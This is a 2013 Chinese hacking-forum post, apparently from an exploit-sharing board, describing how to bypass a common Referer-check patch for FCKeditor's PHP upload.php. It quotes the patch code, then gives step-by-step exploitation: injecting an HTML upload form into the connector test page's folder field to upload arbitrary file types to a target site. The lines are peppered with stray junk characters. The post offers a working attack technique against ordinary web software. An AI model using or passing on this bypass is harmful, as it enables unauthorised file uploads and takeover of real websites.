找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2444|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php6 V' E, U+ v3 v: p3 Z* X, x
网上给出的修复方案是1 r7 U& [' V. D+ [3 P
修复方法,删除FCK编辑器用其他的编辑器
. @) D* b  s+ p, x或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
, ~; ^% t" ^) G" p( @' c在  A# a5 b3 \/ ?5 E9 y) u
require(‘config.php’);2 T3 g+ z; W, t8 W4 L# k6 W! ]
require(‘util.php’);
( D1 N1 r2 a8 Q9 D$ Z- d的下面添加以下代码—————————–
1 V; P0 E7 U9 S3 }( R4 M7 L//防止外部提交( B% J" \: P  y0 C, ?5 g6 n
function outsidepost()3 |, q. q! g7 V, W( {* n* K
{
! P" Y& L6 V: @- A+ r: h% c9 H$servername=$_SERVER['SERVER_NAME'];
$ F9 ]' N9 K+ @$ ]! {/ C$sub_from=@$_SERVER['HTTP_REFERER'];
: ~, b. |+ b- z$sub_len=strlen($servername);8 W3 p, R6 p- Q& R2 [; G  G
$checkfrom=substr($sub_from,7,$sub_len);# g" @6 j$ F' h/ G& |1 V
if($checkfrom!=$servername){% k2 V! [4 Z: W' c; b7 U) q% h; L
echo(“you don’t outsidepost!”);
. j0 o  Z! ]1 N& S1 b1 O% W" L+ iexit;
6 @3 c5 Z& Q+ ^- p}1 ~' t+ E& O+ m! A4 M4 Y
}( }: e5 G: v5 o& X
outsidepost();8 `$ g( y5 o3 \- f/ e' D
防止外部提交,但是没有防止内部提交,/ @: Q+ b' Y" g. Y
利用方法:# ~# ?9 K3 V4 P. l
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
* W. _3 x  n# V2,在Current Folder 框输入
; I+ I& @' Z6 V& s<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>: F# ~" _1 n4 }: t& y1 z
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。( N: N3 Y' M4 B$ `1 `. e
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表